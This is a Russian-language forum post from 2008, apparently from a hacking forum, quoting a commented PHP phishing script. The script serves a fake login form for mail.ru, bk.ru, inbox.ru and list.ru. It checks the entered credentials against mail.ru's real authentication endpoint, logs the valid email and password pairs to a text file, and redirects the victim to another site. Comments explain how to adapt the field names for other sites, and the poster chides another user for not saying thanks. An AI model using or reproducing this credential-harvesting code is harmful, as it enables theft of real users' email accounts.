
15.12.2008, 01:03
|
|
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме: 298300
Репутация:
128
|
|
Сообщение от .:EnoT:.
m0Hze
PHP код:
<?php
if(isset($_POST['submit'])){ // Если данные отправились
$mail = $_POST['mail'];
$zone = $_POST['zone'];
$pass = $_POST['pass'];
//имена полей ввода на разных сайтах, бывает, отличаются - менять для каждого
$post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//создание нового сеанса CURL, CURLOPT_URL='http://win.mail.ru/cgi-bin/auth'
$cl = curl_init('http://win.mail.ru/cgi-bin/auth');
//не выводить результат, а возвращать
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
//просто заполняет поле User-Agent: заголовка
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
//просто установка заголовка Referer
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
//включать заголовки в полученный ответ
curl_setopt($cl, CURLOPT_HEADER, 1);
//запрос методом POST
curl_setopt($cl, CURLOPT_POST, 1);
//установить отправляемые поля POST
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
//выполнить запрос и сохранить результат в exec
$exec = curl_exec($cl);
//освободить экземляр сеанса
curl_close($cl);
if(stripos($exec, 'Неверное имя пользователя или пароль')){
echo 'Неверные данные';
}else{
/* Запись в файл */
$open = fopen('result.txt', 'r+t');
fputs($open, $mail.'@'.$zone.' : '.$pass."\r\n");
fclose($open);
/* Переадресация куда-то */
header('location: http://kuda-to.ru');
die();
}
}else{
?>
<form action="" method="post">
<input name="mail" type="text" /><br/>
<select size="1" name="zone">
<option value="mail.ru">mail.ru</option>
<option value="bk.ru">bk.ru</option>
<option value="inbox.ru">inbox.ru</option>
<option value="list.ru">list.ru</option>
</select><br/>
<input name="pass" type="password" />
<input type="submit" value="Войти" name="submit" />
</form>
<?php
}
?>
PHP код:
//отправить запрос к странице error.php, которая находится рядом с твоим основным скриптом и получить то, что она выводит
$errorPageText=file_get_contents('error.php');
Чувак, ты реально задалбываешь людей и даже спасибо не говоришь, откомментировал код Enot'a в "непонятном" тебе моменте...
И совершенно согласен с советом, данным тебе все тем же Енотом, почитай php.net, там все предельно ясно.... единственный бок, что там код за тебя не пишут...
Последний раз редактировалось ss88; 15.12.2008 в 01:09..
|
|
|